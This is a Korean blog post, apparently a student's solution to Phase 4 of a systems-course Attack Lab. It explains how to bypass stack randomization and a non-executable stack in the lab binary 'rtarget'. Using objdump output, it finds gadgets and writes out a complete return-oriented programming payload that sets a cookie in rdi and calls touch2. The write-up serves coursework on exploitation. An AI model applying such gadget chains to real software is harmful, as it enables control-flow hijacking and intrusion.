2019. 11. 24. 15:22ㆍSystem Software
이제 ctarget이 끝나고 rtarget을 풀어야 한다.
rtarget과 ctarget의 다른점을 알아보자.
It uses randomization so that the stack positions differ from one run to
another. This makes it impossible to determine where your injected code
will be located.
■ It marks the section of memory holding the stack as nonexecutable, so
even if you could set the program counter to the start of your injected
code, the program would fail with a segmentation fault.
위처럼 스택의 주소가 실행 시킬때 마다 변해서 스택의 주소를 특정 할 수없다.
그 해결책으로 farm이라는 함수들을 여러개 정의해줬고, 여기서 조각조각 모아서
명령문을 만들어 해결하라는 의미였다. 이를 gadget이라 한다.
Phase4에서 해야 할 일은 phase2와 같다
rdi 에 Cookie값을 넣고 touch2함수를 실행시키는 것이다.
하지만 phase 4에선 Buffer에 명령문을 넣고 버퍼의 주소를 전달하는 방식을 사용하지 못한다.
buffer의 주소를 특정 할 수없기 때문이다.
rsp 값을 이용해서 jmp 하면 될거같지만 해답에서 원하는건 gadget을 찾아서
해결하는것을 원하므로 찾아보았다.
pdf에서 pop과 mov, movl, nop 정도의 명령문을 사용할수있다 했으므로
pop을 통해서 스택에 넣어둔 쿠키값을 받아서 rdi 레지스터가 아니었다면 옮겨주는 작업후
touch2함수를 실행시키면 됨을 구상할수있다.
objdump를 이용해서 rtarget을 덤프시키자.
그다음 보면
00000000004019fd :
4019fd: b8 01 00 00 00 mov $0x1,%eax
401a02: c3 retq
0000000000401a03 :
401a03: b8 c6 a1 58 90 mov $0x9058a1c6,%eax
401a08: c3 retq
0000000000401a09 :
401a09: b8 58 90 90 c3 mov $0xc3909058,%eax
401a0e: c3 retq
0000000000401a0f :
401a0f: b8 78 48 89 c7 mov $0xc7894878,%eax
401a14: c3 retq
...
등의 가젯 코드들을 볼수있다.
이 표를 보고 덤프된 코드중에서 가젯을 찾는다.
0xc3은 retq이고 0x90은 nop(no operation) 임을 참고해서 찾자.
0x401a06에서 58 90 c3 ( pop %rax 후 retq) 을 찾을수있고
0x401a11에서 48 89 c7 c3(mov %rax, %rdi 후 retq)을 찾을수있다.
따라서 다음과 같이 코드를 짜볼수있다.
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00 /* pop %rax */
dd d2 3c 78 00 00 00 00 /* Cookie */
11 1a 40 00 00 00 00 00 /* mov %rax, %rdi */
55 18 40 00 00 00 00 00 /* touch2 주소 */
'System Software' 카테고리의 다른 글
Attack Lab - Phase 5 풀이 (0) | 2019.11.24 |
---|---|
Attack Lab - Phase 3 풀이 (1) | 2019.11.24 |
Attack Lab - Phase 2 풀이 (5) | 2019.11.18 |
Attack Lab - Phase 1 풀이 (0) | 2019.11.18 |